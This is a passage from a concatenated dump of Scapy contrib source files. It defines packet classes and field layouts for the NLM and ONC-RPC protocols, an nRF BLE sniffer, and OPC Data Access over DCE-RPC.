Object_Name(), Object_Name), IntField('svid', 0), LongField('l_offset', 0), LongField('l_len', 0) ] class GRANTED_MSG_Reply(Packet): name = 'GRANTED_MSG Reply' fields_desc = [] bind_layers( RPC_Call, GRANTED_MSG_Call, program=100021, pversion=4, procedure=10 ) bind_layers(RPC, GRANTED_MSG_Call, mtype=0) bind_layers(RPC, GRANTED_MSG_Reply, mtype=1) class GRANTED_RES_Call(Packet): name = 'GRANTED_RES Call' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), IntEnumField('status', 0, nlm4_stats) ] class GRANTED_RES_Reply(Packet): name = 'GRANTED_RES Reply' fields_desc = [] bind_layers( RPC_Call, GRANTED_RES_Call, program=100021, pversion=4, procedure=15 ) bind_layers(RPC, GRANTED_RES_Call, mtype=0) bind_layers(RPC, GRANTED_RES_Reply, mtype=1) class CANCEL_Call(Packet): name = 'CANCEL Call' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), IntEnumField('block', 0, {0: 'NO', 1: 'YES'}), IntEnumField('exclusive', 0, {0: 'NO', 1: 'YES'}), PacketField('caller', Object_Name(), Object_Name), PacketField('filehandle', File_Object(), File_Object), PacketField('owner', Object_Name(), Object_Name), IntField('svid', 0), LongField('l_offset', 0), LongField('l_len', 0) ] class CANCEL_Reply(Packet): name = 'CANCEL Reply' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), IntEnumField('status', 0, nlm4_stats) ] bind_layers(RPC_Call, CANCEL_Call, program=100021, pversion=4, procedure=3) bind_layers(RPC, CANCEL_Call, mtype=0) bind_layers(RPC, CANCEL_Reply, mtype=1) class TEST_Call(Packet): name = 'TEST Call' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), IntEnumField('exclusive', 0, {0: 'NO', 1: 'YES'}), PacketField('caller', Object_Name(), Object_Name), PacketField('filehandle', File_Object(), File_Object), PacketField('owner', Object_Name(), Object_Name), IntField('svid', 0), LongField('l_offset', 0), LongField('l_len', 0) ] class TEST_Reply(Packet): name = 'TEST Reply' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), IntEnumField('status', 0, nlm4_stats) ] bind_layers(RPC_Call, TEST_Call, program=100021, pversion=4, procedure=1) bind_layers(RPC, TEST_Call, mtype=0) bind_layers(RPC, TEST_Reply, mtype=1) ================================================ FILE: scapy/contrib/nrf_sniffer.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Michael Farrell """ nRF sniffer Firmware and documentation related to this module is available at: https://www.nordicsemi.com/Software-and-Tools/Development-Tools/nRF-Sniffer https://github.com/adafruit/Adafruit_BLESniffer_Python https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-nordic_ble.c """ # scapy.contrib.description = nRF sniffer # scapy.contrib.status = works import struct from scapy.config import conf from scapy.data import DLT_NORDIC_BLE from scapy.fields import ( BitEnumField, BitField, ByteEnumField, ByteField, LEIntField, LEShortField, LenField, ScalingField, ) from scapy.layers.bluetooth4LE import BTLE from scapy.packet import Packet, bind_layers # nRF Sniffer v2 class NRFS2_Packet(Packet): """ nRF Sniffer v2 Packet """ fields_desc = [ LenField("len", None, fmt=" # scapy.contrib.description = ONC-RPC v2 # scapy.contrib.status = loads from scapy.fields import XIntField, IntField, IntEnumField, StrLenField, \ FieldListField, ConditionalField, PacketField, FieldLenField from scapy.packet import Packet, bind_layers import struct class Object_Name(Packet): name = 'Object Name' fields_desc = [ IntField('length', 0), StrLenField('_name', '', length_from=lambda pkt: pkt.length), StrLenField('fill', '', length_from=lambda pkt: (4 - pkt.length) % 4) ] def set(self, name, length=None, fill=None): if length is None: length = len(name) if fill is None: fill = b'\x00' * ((4 - len(name)) % 4) self.length = length self._name = name self.fill = fill def extract_padding(self, s): return '', s class RM_Header(Packet): name = 'RM Header' fields_desc = [ XIntField('rm', None) ] def post_build(self, pkt, pay): """Override of post_build to set the rm header == len(payload)""" if self.rm is None: new_rm = 0x80000000 + len(self.payload) pkt = struct.pack('!I', new_rm) return Packet.post_build(self, pkt, pay) class RPC(Packet): name = 'RPC' fields_desc = [ XIntField('xid', 0), IntEnumField('mtype', 0, {0: 'CALL', 1: 'REPLY'}), ] class Auth_Unix(Packet): name = 'AUTH Unix' fields_desc = [ XIntField('stamp', 0), PacketField('mname', Object_Name(), Object_Name), IntField('uid', 0), IntField('gid', 0), IntField('num_auxgids', 0), FieldListField( 'auxgids', [], IntField('', None), count_from=lambda pkt: pkt.num_auxgids ) ] def extract_padding(self, s): return '', s class Auth_RPCSEC_GSS(Packet): name = 'Auth RPCSEC_GSS' fields_desc = [ IntField('gss_version', 0), IntField('gss_procedure', 0), IntField('gss_seq_num', 0), IntField('gss_service', 0), PacketField('gss_context', Object_Name(), Object_Name) ] def extract_padding(self, s): return '', s class Verifier_RPCSEC_GSS(Packet): name = 'Verifier RPCSEC_GSS' fields_desc = [ FieldLenField("len", None, length_of="data"), StrLenField("data", "", length_from=lambda pkt:pkt.len) ] def extract_padding(self, s): return '', s class RPC_Call(Packet): name = 'RPC Call' fields_desc = [ IntField('version', 2), IntField('program', 100003), IntField('pversion', 3), IntField('procedure', 0), IntEnumField( 'aflavor', 1, {0: 'AUTH_NULL', 1: 'AUTH_UNIX', 6: 'RPCSEC_GSS'} ), IntField('alength', None), ConditionalField( PacketField('a_unix', Auth_Unix(), Auth_Unix), lambda pkt: pkt.aflavor == 1 ), ConditionalField( PacketField('a_rpcsec_gss', Auth_RPCSEC_GSS(), Auth_RPCSEC_GSS), lambda pkt: pkt.aflavor == 6 ), IntEnumField( 'vflavor', 0, {0: 'AUTH_NULL', 1: 'AUTH_UNIX', 6: 'RPCSEC_GSS'} ), ConditionalField( IntField('vlength', None), lambda pkt: pkt.vflavor != 6 ), ConditionalField( PacketField('v_unix', Auth_Unix(), Auth_Unix), lambda pkt: pkt.vflavor == 1 ), ConditionalField( PacketField( 'v_rpcsec_gss', Verifier_RPCSEC_GSS(), Verifier_RPCSEC_GSS ), lambda pkt: pkt.vflavor == 6 ) ] def set_auth(self, **kwargs): """Used to easily set the fields in an a_unix packet""" if kwargs is None: return if 'mname' in kwargs: self.a_unix.mname.set(kwargs['mname']) del kwargs['mname'] for arg, val in kwargs.items(): if hasattr(self.a_unix, arg): setattr(self.a_unix, arg, val) self.alength = 0 if self.aflavor == 0 else len(self.a_unix) self.vlength = 0 if self.vflavor == 0 else len(self.v_unix) def post_build(self, pkt, pay): """Override of post_build to handle length fields""" if self.aflavor == 0 and self.vflavor == 0: # No work required if there are no auth fields, # default will be correct return Packet.post_build(self, pkt, pay) if self.aflavor != 0 and self.alength is None: if self.aflavor == 6: pack_len = len(self.a_rpcsec_gss) else: pack_len = len(self.a_unix) pkt = pkt[:20] \ + struct.pack('!I', pack_len) \ + pkt[24:] return Packet.post_build(self, pkt, pay) if self.vflavor != 0 and self.vlength is None: pkt = pkt[:28] \ + struct.pack('!I', len(self.v_unix)) \ + pkt[32:] return Packet.post_build(self, pkt, pay) class RPC_Reply(Packet): name = 'RPC Response' fields_desc = [ IntField('reply_stat', 0), IntEnumField('flavor', 0, {0: 'AUTH_NULL', 1: 'AUTH_UNIX'}), ConditionalField( PacketField('a_unix', Auth_Unix(), Auth_Unix), lambda pkt: pkt.flavor == 1 ), IntField('length', 0), IntField('accept_stat', 0) ] def set_auth(self, **kwargs): """Used to easily set the fields in an a_unix packet""" if kwargs is None: return if 'mname' in kwargs: self.a_unix.mname.set(kwargs['mname']) del kwargs['mname'] for arg, val in kwargs.items(): if hasattr(self.a_unix, arg): setattr(self.a_unix, arg, val) self.length = 0 if self.flavor == 0 else len(self.a_unix) bind_layers(RPC, RPC_Call, mtype=0) bind_layers(RPC, RPC_Reply, mtype=1) ================================================ FILE: scapy/contrib/opc_da.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) GuillaumeF # @Date: 2016-10-18 # @Last modified by: GuillaumeF # @Last modified by: Sebastien Mainand # @Last modified time: 2016-12-08 11:16:27 # @Last modified time: 2017-07-05 # scapy.contrib.description = OPC Data Access # scapy.contrib.status = loads """ Opc Data Access Spec: Google 'OPCDA3.00.pdf' RPC PDU encodings: - DCE 1.1 RPC: https://pubs.opengroup.org/onlinepubs/9629399/toc.pdf - http://pubs.opengroup.org/onlinepubs/9629399/chap12.htm DCOM Remote Protocol. [MS-DCOM]: Distributed Component Object Model (DCOM) Remote Protocol https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/4a893f3d-bd29-48cd-9f43-d9777a4415b0 XXX TODO: does not appear to have been linked to RPC """ import struct from scapy.config import conf from scapy.fields import ( BitEnumField, ByteEnumField, ByteField, ConditionalField, Field, FieldLenField, FlagsField, IntEnumField, IntField, LEIntEnumField, LEIntField, LELongField, LEShortField, MultipleTypeField, PacketField, PacketLenField, PacketListField, ShortEnumField, ShortField, StrField, StrFixedLenField, StrLenField, UUIDField, _FieldContainer, _PacketField, ) from scapy.packet import Packet from scapy.layers.ntlm import NTLM_Header # Defined values _tagOPCDataSource = { 1: "OPC_DS_CACHE", 2: "OPC_DS_DEVICE" } _tagOPCBrowseType = { 1: "OPC_BRANCH", 2: "OPC_LEAF", 3: "OPC_FLAT" } _tagOPCNameSpaceType = { 1: "OPC_NS_HIERARCHIAL", 2: "OPC_NS_FLAT" } _tagOPCBrowseDirection = { 1: "OPC_BROWSE_UP", 2: "OPC_BROWSE_DOWN", 3: "OPC_BROWSE_TO" } _tagOPCEuType = { 0: "OPC_NOENUM", 1: "OPC_ANALOG", 2: "OPC_ENUMERATED" } _tagOPCServerState = { 1: "OPC_STATUS_RUNNING", 2: "OPC_STATUS_FAILED", 3: "OPC_STATUS_NOCONFIG", 4: "OPC_STATUS_SUSPENDED", 5: "OPC_STATUS_TEST", 6: "OPC_STATUS_COMM_FAULT" } _tagOPCEnumScope = { 1: "OPC_ENUM_PRIVATE_CONNECTIONS", 2: "OPC_ENUM_PUBLIC_CONNECTIONS", 3: "OPC_ENUM_ALL_CONNECTIONS", 4: "OPC_ENUM_PRIVATE", 5: "OPC_ENUM_PUBLIC", 6: "OPC_ENUM_ALL" } _pfc_flags = [ "firstFragment", # First fragment "lastFragment", # Last fragment "pendingCancel", # Cancel was pending at sender "reserved", # "concurrentMultiplexing", # supports concurrent multiplexing # of a single connection "didNotExecute", # only meaningful on `fault' packet if true, # guaranteed call did not execute "maybe", # `maybe' call semantics requested "objectUuid" # if true, a non-nil object UUID was specified # in the handle, and is present in the optional # object field. If false, the object field # is omitted ] _faultStatus = { 382312475: 'rpc_s_fault_object_not_found', 382312497: 'rpc_s_call_cancelled', 382312564: 'rpc_s_fault_addr_error', 382312565: 'rpc_s_fault_context_mismatch', 382312566: 'rpc_s_fault_fp_div_by_zero', 382312567: 'rpc_s_fault_fp_error', 382312568: 'rpc_s_fault_fp_overflow', 382312569: 'rpc_s_fault_fp_underflow', 382312570: 'rpc_s_fault_ill_inst', 382312571: 'rpc_s_fault_int_div_by_zero', 382312572: 'rpc_s_fault_int_overflow', 382312573: 'rpc_s_fault_invalid_bound', 382312574: 'rpc_s_fault_invalid_tag', 382312575: 'rpc_s_fault_pipe_closed', 382312576: 'rpc_s_fault_pipe_comm_error', 382312577: 'rpc_s_fault_pipe_discipline', 382312578: 'rpc_s_fault_pipe_empty', 382312579: 'rpc_s_fault_pipe_memory', 382312580: 'rpc_s_fault_pipe_order', 382312582: 'rpc_s_fault_remote_no_memory', 382312583: 'rpc_s_fault_unspec', 382312723: 'rpc_s_fault_user_defined', 382312726: 'rpc_s_fault_tx_open_failed', 382312814: 'rpc_s_fault_codeset_conv_error', 382312816: 'rpc_s_fault_no_client_stub', 469762049: 'nca_s_fault_int_div_by_zero', 469762050: 'nca_s_fault_addr_error', 469762051: 'nca_s_fault_fp_div_zero', 469762052: 'nca_s_fault_fp_underflow', 469762053: 'nca_s_fault_fp_overflow', 469762054: 'nca_s_fault_invalid_tag', 469762055: 'nca_s_fault_invalid_bound', 469762061: 'nca_s_fault_cancel', 469762062: 'nca_s_fault_ill_inst', 469762063: 'nca_s_fault_fp_error', 469762064: 'nca_s_fault_int_overflow', 469762068: 'nca_s_fault_pipe_empty', 469762069: 'nca_s_fault_pipe_closed', 469762070: 'nca_s_fault_pipe_order', 469762071: 'nca_s_fault_pipe_discipline', 469762072: 'nca_s_fault_pipe_comm_error', 469762073: 'nca_s_fault_pipe_memory', 469762074: 'nca_s_fault_context_mismatch', 469762075: 'nca_s_fault_remote_no_memory', 469762081: 'ncs_s_fault_user_defined', 469762082: 'nca_s_fault_tx_open_failed', 469762083: 'nca_s_fault_codeset_conv_error', 469762084: 'nca_s_fault_object_not_found', 469762085: 'nca_s_fault_no_client_stub', } _defResult = { 0: 'ACCEPTANCE', 1: 'USER_REJECTION', 2: 'PROVIDER_REJECTION', } _defReason = { 0: 'REASON_NOT_SPECIFIED', 1: 'ABSTRACT_SYNTAX_NOT_SUPPORTED', 2: 'PROPOSED_TRANSFER_SYNTAXES_NOT_SUPPORTED', 3: 'LOCAL_LIMIT_EXCEEDED', } _rejectBindNack = { 0: 'REASON_NOT_SPECIFIED', 1: 'TEMPORARY_CONGESTION', 2: 'LOCAL_LIMIT_EXCEEDED', 3: 'CALLED_PADDR_UNKNOWN', 4: 'PROTOCOL_VERSION_NOT_SUPPORTED', 5: 'DEFAULT_CONTEXT_NOT_SUPPORTED', 6: 'USER_DATA_NOT_READABLE', 7: 'NO_PSAP_AVAILABLE' } _rejectStatus = { 469762056: 'nca_rpc_version_mismatch', 469762057: 'nca_unspec_reject', 469762058: 'nca_s_bad_actid', 469762059: 'nca_who_are_you_failed', 469762060: 'nca_manager_not_entered', 469827586: 'nca_op_rng_error', 469827587: 'nca_unk_if', 469827590: 'nca_wrong_boot_time', 469827593: 'nca_s_you_crashed', 469827595: 'nca_proto_error', 469827603: 'nca_out_args_too_big', 469827604: 'nca_server_too_busy', 469827607: 'nca_unsupported_type', 469762076: 'nca_invalid_pres_context_id', 469762077: 'nca_unsupported_authn_level', 469762079: 'nca_invalid_checksum', 469762080: 'nca_invalid_crc' } _pduType = { 0: "REQUEST", 1: "PING", 2: "RESPONSE", 3: "FAULT", 4: "WORKING", 5: "NOCALL", 6: "REJECT", 7: "ACK", 8: "CI_CANCEL", 9: "FACK", 10: "CANCEL_ACK", 11: "BIND", 12: "BIND_ACK", 13: "BIND_NACK", 14: "ALTER_CONTEXT", 15: "ALTER_CONTEXT_RESP", 17: "SHUTDOWN", 18: "CO_CANCEL", 19: "ORPHANED", # Not documented 16: "Auth3", } _authentification_protocol = { 0: 'None', 1: 'OsfDcePrivateKeyAuthentication', } # Util def _make_le(pkt_cls): """ Make all fields in a packet LE. """ flds = [f.copy() for f in pkt_cls.fields_desc] for f in flds: if isinstance(f, _FieldContainer): f = f.fld if isinstance(f, UUIDField): f.uuid_fmt = UUIDField.FORMAT_LE elif isinstance(f, _PacketField): f.cls = globals().get(f.cls.__name__ + "LE", f.cls) elif not isinstance(f, StrField): f.fmt = "<" + f.fmt.replace(">", "").replace("!", "") f.struct = struct.Struct(f.fmt) class LEPacket(pkt_cls): fields_desc = flds name = pkt_cls().name + " (LE)" LEPacket.__name__ = pkt_cls.__name__ + "LE" return LEPacket # Sub class for dissection class AuthentificationProtocol(Packet): name = 'authentificationProtocol' def extract_padding(self, p): return b"", p def guess_payload_class(self, payload): if self.underlayer and hasattr(self.underlayer, "authLength"): authLength = self.underlayer.authLength if authLength != 0: try: return _authentification_protocol[authLength] except Exception: pass return conf.raw_layer class OsfDcePrivateKeyAuthentification(Packet): name = "OsfDcePrivateKeyAuthentication" # TODO def extract_padding(self, p): return b"", p class OPCHandle(Packet): def __init__(self, name, default): Field.__init__(self, name, default, "16s") def extract_padding(self, p): return b"", p class LenStringPacket(Packet): # Among other things, can be (port_any_t - DCE 1.1 RPC - p592) name = "len string packet" fields_desc = [ FieldLenField('length', 0, length_of='data', fmt="H"), MultipleTypeField( [(StrFixedLenField('data', '', length=2), lambda pkt: not pkt.length)], StrLenField('data', '', length_from=lambda pkt: pkt.length) ) ] def extract_padding(self, p): return b"", p LenStringPacketLE = _make_le(LenStringPacket) class SyntaxId(Packet): name = "syntax Id" fields_desc = [ UUIDField('interfaceUUID', str('0001' * 8), uuid_fmt=UUIDField.FORMAT_BE), ShortField('versionMajor', 0), ShortField('versionMinor', 0), ] def extract_padding(self, p): return b"", p SyntaxIdLE = _make_le(SyntaxId) class ResultElement(Packet): # p_result_list_t - DCE 1.1 RPC - p591 name = "p_result_t" fields_desc = [ ShortEnumField('resultContextNegotiation', 0, _defResult), ConditionalField(ShortEnumField('reason', 0, _defReason), lambda pkt:pkt.resultContextNegotiation != 0), PacketField('transferSyntax', '\x00' * 20, SyntaxId), ] def extract_padding(self, p): return b"", p ResultElementLE = _make_le(ResultElement) class ResultList(Packet): # p_result_list_t - DCE 1.1 RPC - p592 name = "p_result_list_t" fields_desc = [ ByteField('nbResult', 0), ByteField('reserved', 0), ShortField('reserved2', 0), PacketListField('resultList', None, ResultElement, count_from=lambda pkt:pkt.nbResult), ] def extract_padding(self, p): return b"", p ResultListLE = _make_le(ResultList) class ContextElement(Packet): name = "context element" fields_desc = [ ShortField('contxtId', 0), ByteField('nbTransferSyn', 0), ByteField('reserved', 0), PacketField('abstractSyntax', None, SyntaxId), PacketListField('transferSyntax', None, SyntaxId, count_from=lambda pkt:pkt.nbTransferSyn), ] def extract_padding(self, p): return b"", p ContextElementLE = _make_le(ContextElement) # Only in Little-Endian class STDOBJREF(Packet): name = 'stdObjRef' fields_desc = [ LEIntEnumField('flags', 1, {0: 'PINGING', 8: 'SORF_NOPING'}), LEIntField('cPublicRefs', 0), LELongField('OXID', 0), LELongField('OID', 0), PacketField('IPID', None, UUIDField), ] class StringBinding(Packet): name = 'String Binding' fields_desc = [ LEShortField('wTowerId', 0), # Not enough information to continue ] class DualStringArray(Packet): name = "Dual String Array" fields_desc = [ ShortField('wNumEntries', 0), ShortField('wSecurityOffset', 0), StrFixedLenField('StringBinding', '', # Simplify the problem length_from=lambda pkt:pkt.wSecurityOffset), ] DualStringArrayLE = _make_le(DualStringArray) class OBJREF_STANDARD(Packet): name = "objetref stanDard" fields_desc = [ PacketField('std', None, STDOBJREF), PacketField('saResAddr', None, DualStringArray), ] OBJREF_STANDARDLE = _make_le(OBJREF_STANDARD) class OBJREF_HANDLER(Packet): name = "objetref stanDard" fields_desc = [ PacketField('std', None, STDOBJREF), UUIDField('clsid', str('0001' * 8), uuid_fmt=UUIDField.FORMAT_BE), PacketField('saResAddr', None, DualStringArray), ] OBJREF_HANDLERLE = _make_le(OBJREF_HANDLER) class OBJREF_CUSTOM(Packet): name = "objetref stanDard" fields_desc = [ UUIDField('clsid', str('0001' * 8), uuid_fmt=UUIDField.FORMAT_BE), IntField('cbExtension', 0), IntField('reserved', 0), ] OBJREF_CUSTOMLE = _make_le(OBJREF_CUSTOM) class OBJREF_EXTENDED(Packet): name = "objetref stanDard" fields_desc = [ ] OBJREF_EXTENDEDLE = _make_le(OBJREF_EXTENDED) # Packet for the interfaces defined _objref_flag = { 1: 'OBJREF_STANDARD', 2: 'OBJREF_HANDLER', 4: 'OBJREF_CUSTOM', 8: 'OBJREF_EXTENDED', } _objref_pdu = { 1: [OBJREF_STANDARD, OBJREF_STANDARDLE], 2: [OBJREF_HANDLER, OBJREF_HANDLERLE], 4: [OBJREF_CUSTOM, OBJREF_CUSTOMLE], 8: [OBJREF_EXTENDED, OBJREF_EXTENDEDLE], } class IRemoteSCMActivator_RemoteCreateInstance(Packet): name = 'RemoteCreateInstance' fields_desc = [ ShortField('versionMajor', 0), ShortField('versionMinor', 0), IntEnumField('flag', 1, _objref_flag), IntField('reserved', 0), ] def guess_payload_class(self, payload): try: return _objref_pdu[self.flag][ self.__class__.__name__.endswith("LE") ] except Exception: pass IRemoteSCMActivator_RemoteCreateInstanceLE = _make_le( IRemoteSCMActivator_RemoteCreateInstance ) IRemoteSCMActivator = { # 0: 'Reserved for local use', # 1: 'Reserved for local use', # 2: 'Reserved for local use', # 3: [IRemoteSCMActivator_RemoteGetClassObject, # IRemoteSCMActivator_RemoteGetClassObject], 4: [IRemoteSCMActivator_RemoteCreateInstance, IRemoteSCMActivator_RemoteCreateInstanceLE], } # UUID defined for DCOM # Specifies the Distributed Component Object Model (DCOM) Remote Protocol # https://msdn.microsoft.com/en-us/library/cc226801.aspx # MS-Dcom.pdf 1.9 # OPC DA Specification.pdf _standardDcomEndpoint = { # MS-DCOM '4d9f4ab8-7d1c-11cf-861e-0020af6e7c57': "IActivation", '000001A0-0000-0000-C000-000000000046': IRemoteSCMActivator, '99fcfec4-5260-101b-bbcb-00aa0021347a': "IObjectExporter", '00000000-0000-0000-C000-000000000046': "IUnknown", '00000131-0000-0000-C000-000000000046': "IRemUnknown_IUnknown", '00000143-0000-0000-C000-000000000046': "IRemUnknown2_IRemUnknown", # OLE for Process Control '63D5F430-CFE4-11d1-B2C8-0060083BA1FB': "CATID_OPCDAServer10", '63D5F432-CFE4-11d1-B2C8-0060083BA1FB': "CATID_OPCDAServer20", 'CC603642-66D7-48f1-B69A-B625E73652D7': "CATID_OPCDAServer30", '39c13a4d-011e-11d0-9675-0020afd8adb3': "IOPCServer_IUnknown", '39c13a4e-011e-11d0-9675-0020afd8adb3': "IOPCServerPublicGroups_IUnknown", '39c13a4f-011e-11d0-9675-0020afd8adb3': "IOPCBrowseServerAddrSpace_IUnknown", # noqa: E501 '39c13a50-011e-11d0-9675-0020afd8adb3': "IOPCGroupStateMgt_IUnknown", '39c13a51-011e-11d0-9675-0020afd8adb3': "IOPCPublicGroupStateMgt_IUnknown", '39c13a52-011e-11d0-9675-0020afd8adb3': "IOPCSyncIO_IUnknown", '39c13a53-011e-11d0-9675-0020afd8adb3': "IOPCAsyncIO_IUnknown", '39c13a54-011e-11d0-9675-0020afd8adb3': "IOPCItemMgt_IUnknown", '39c13a55-011e-11d0-9675-0020afd8adb3': "IEnumOPCItemAttributes_IUnknown", '39c13a70-011e-11d0-9675-0020afd8adb3': "IOPCDataCallback_IUnknown", '39c13a71-011e-11d0-9675-0020afd8adb3': "IOPCAsyncIO2_IUnknown", '39c13a72-011e-11d0-9675-0020afd8adb3': "IOPCItemProperties_IUnknown", '5946DA93-8B39-4ec8-AB3D-AA73DF5BC86F': "IOPCItemDeadbandMgt_IUnknown", '3E22D313-F08B-41a5-86C8-95E95CB49FFC': "IOPCItemSamplingMgt_IUnknown", '39227004-A18F-4b57-8B0A-5235670F4468': "IOPCBrowse_IUnknown", '85C0B427-2893-4cbc-BD78-E5FC5146F08F': "IOPCItemIO_IUnknown", '730F5F0F-55B1-4c81-9E18-FF8A0904E1FA': "IOPCSyncIO2_IOPCSyncIO", '0967B97B-36EF-423e-B6F8-6BFF1E40D39D': "IOPCAsyncIO3_IOPCAsyncIO2", '8E368666-D72E-4f78-87ED-647611C61C9F': "IOPCGroupStateMgt2_IOPCGroupStateMgt", # noqa: E501 '3B540B51-0378-4551-ADCC-EA9B104302BF': "library_OPCDA", # Other '000001a5-0000-0000-c000-000000000046': "ActivationContextInfo", '00000338-0000-0000-c000-000000000046': "ActivationPropertiesIn", } # [MS-NLMP] 2.2.2.1 _attribute_type = { 0: 'EndOfList', 1: 'NetBIOSComputerName', 2: 'NetBIOSDomainName', 3: 'DNSComputername', 4: 'DNSDomainName', 6: 'Flags', 7: 'TimeStamp', 8: 'Restrictions', 9: 'TargetName', 10: 'ChannelBindings' } # Maybe depend of LE or BE _negociate_flags = [ "negociate_0x01", "negociate_version", "negociate_0x04", "negociate_0x08", "negociate_0x10", "negociate_128", "negociate_key_exchange", "negociate_56", "target_type_domain", "target_type_server", "taget_type_share", "negociate_extended_security", "negociate_identity", "negociate_0x002", "request_non_nt", "negociate_target_info", "negociate_0x000001", "negociate_ntlm_key", "negociate_nt_only", "negociate_anonymous", "negociate_oem_doamin", "negociate_oem_workstation", "negociate_0x00004", "negociate_always_sign", "negociate_unicode", "negociate_oem", "request_target", "negociate_00000008", "negociate_sign", "negociate_seal", "negociate_datagram", "negociate_lan_manager_key", ] class AV_PAIR(Packet): name = "AV_PAIR" fields_desc = [ ShortEnumField('avID', 2, _attribute_type), ShortField('avLen', 0), StrLenField('value', '', length_from=lambda pkt:pkt.avLen), ] def extract_padding(self, p): return b"", p AV_PAIRLE = _make_le(AV_PAIR) # NTLM _opcDa_auth_classes = { 10: [NTLM_Header, NTLM_Header], } class OpcDaAuth3(Packet): name = "Auth3" fields_desc = [ ShortField('code', 5840), ShortField('code2', 5840), ByteField('authType', 10), ByteField('authLevel', 2), ByteField('authPadLen', 0), ByteField('authReserved', 0), IntField('authContextId', 0), ] def guess_payload_class(self, payload): try: return _opcDa_auth_classes[self.authType][ self.__class__.__name__.endswith("LE") ] except Exception: pass OpcDaAuth3LE = _make_le(OpcDaAuth3) # A client sends a request PDU when it wants to execute a remote operation. # In a multi-PDU request, the request consists of a series of request PDUs # with the same sequence number and monotonically increasing fragment # numbers. The body of a request PDU contains data that represents input # parameters for the operation. class RequestStubData(Packet): name = 'RequestStubData' fields_desc = [ ShortField('versionMajor', 0), ShortField('versionMinor', 0), StrField('stubdata', ''), ] def extract_padding(self, p): return b"", p RequestStubDataLE = _make_le(RequestStubData) def _opc_stubdata_length(pkt): if not pkt.underlayer or not isinstance(pkt.underlayer, OpcDaHeaderN): return 0 stub_data_length = pkt.underlayer.fragLength - 24 stub_data_length -= pkt.underlayer.authLength if (OpcDaHeaderMessage in pkt.firstlayer() and pkt.firstlayer()[OpcDaHeaderMessage].pfc_flags & 'objectUuid'): stub_data_length -= 36 return max(0, stub_data_length) class OpcDaRequest(Packet): # DCE 1.1 RPC - 12.6.4.9 name = "OpcDaRequest" fields_desc = [ IntField('allocHint', 0), ShortField('contextId', 0), ShortField('opNum', 0), ConditionalField( UUIDField('uuid', str('0001' * 8), uuid_fmt=UUIDField.FORMAT_BE), lambda pkt: OpcDaHeaderMessage in pkt.firstlayer() and pkt.firstlayer()[OpcDaHeaderMessage].pfc_flags & 'objectUuid' ), PacketLenField('stubData', None, RequestStubData, length_from=lambda pkt: _opc_stubdata_length(pkt)), PacketField('authentication', None, AuthentificationProtocol), ] def extract_padding(self, p): return b"", p OpcDaRequestLE = _make_le(OpcDaRequest) # A client sends a ping PDU when it wants to inquire about an outstanding # request. # A ping PDU contains no body data. class OpcDaPing(Packet): # DCE 1.1 RPC - 12.5.3.7 name = "OpcDaPing" fields_desc = [] def extract_padding(self, p): return b"", p # A server sends a response PDU if an operation invoked by an idempotent, # broadcast or at-most-once request executes successfully. Servers do not send # responses for maybe or broadcast/maybe requests. A multi-PDU response # consists of a series of response PDUs with the same sequence number and # monotonically increasing fragment numbers. class OpcDaResponse(Packet): # DCE 1.1 RPC - 12.6.4.10 name = "OpcDaResponse" fields_desc = [ IntField('allocHint', 0), ShortField('contextId', 0), ByteField('cancelCount', 0), ByteField('reserved', 0), StrLenField('stubData', None, length_from=lambda pkt:pkt.allocHint - 32), PacketField('authentication', None, AuthentificationProtocol), ] def extract_padding(self, p): return b"", p OpcDaResponseLE = _make_le(OpcDaResponse) # The fault PDU is used to indicate either an RPC run-time, RPC stub, or # RPC-specific exception to the client. # Length of the stubdata equal allochint less header class OpcDaFault(Packet): # DCE 1.1 RPC - 12.6.4.7 name = "OpcDaFault" fields_desc = [ IntField('allocHint', 0), ShortField('contextId', 0), ByteField('cancelCount', 0), ByteField('reserved', 0), IntEnumField('Group', 0, _faultStatus), IntField('reserved2', 0), StrLenField('stubData', None, length_from=lambda pkt:pkt.allocHint - 32), PacketField('authentication', None, AuthentificationProtocol), ] def extract_padding(self, p): return b"", p OpcDaFaultLE = _make_le(OpcDaFault) # A server sends a working PDU in reply to a ping PDU. This reply indicates # that the server is processing the client's call. # A working PDU contains no body data. class OpcDaWorking(Packet): name = "OpcDaWorking" def extract_padding(self, p): return OpcDaFack # A nocall PDU can optionally carry a body whose format is the same as the # optional fack PDU body. class OpcDaNoCall(Packet): name = "OpcDaNoCall" def extract_padding(self, p): return OpcDaFack class OpcDaNoCallLE(Packet): name = "OpcDaNoCall" def extract_padding(self, p): return OpcDaFackLE # A server sends a reject PDU if an RPC request is rejected. The body of # a reject PDU contains a status code indicating why a callee is rejecting # a request PDU from a caller. class OpcDaReject(Packet): # DCE 1.1 RPC - 12.5.3.8 name = "OpcDaReject" fields_desc = [ IntField('allocHint', 0), ShortField('contextId', 0), ByteField('cancelCount', 0), ByteField('reserved', 0), IntEnumField('Group', 0, _rejectStatus), StrLenField('stubData', None, length_from=lambda pkt:pkt.allocHint - 32), PacketField('authentication', None, AuthentificationProtocol), ] def extract_padding(self, p): return b"", p OpcDaRejectLE = _make_le(OpcDaReject) # A client sends an ack PDU after it has received a response to # an at-most-once request. An ack PDU explicitly acknowledges that the # client has received the response; it tells the server to cease resending # the response and discard the response PDU. (A client can also implicitly # acknowledge receipt of a response by sending a new request.) # An ack PDU contains no body data. class OpcDaAck(Packet): name = "OpcDaAck" def extract_padding(self, p): return b"", p # The cancel PDU is used to forward a cancel. class OpcDaCl_cancel(Packet): # DCE 1.1 RPC - 12.5.3.3 name = "OpcDaCl_cancel" fields_desc = [ PacketField('authentication', None, AuthentificationProtocol), IntField('version', 0), IntField('cancelId', 0), ] def extract_padding(self, p): return b"", p OpcDaCl_cancelLE = _make_le(OpcDaCl_cancel) # Both clients and servers send fack PDUs. # A client sends a fack PDU after it has received a fragment of a multi-PDU # response. A fack PDU explicitly acknowledges that the client has received # the fragment; it may tell the sender to stop sending for a while. # A server sends a fack PDU after it has received a fragment of a 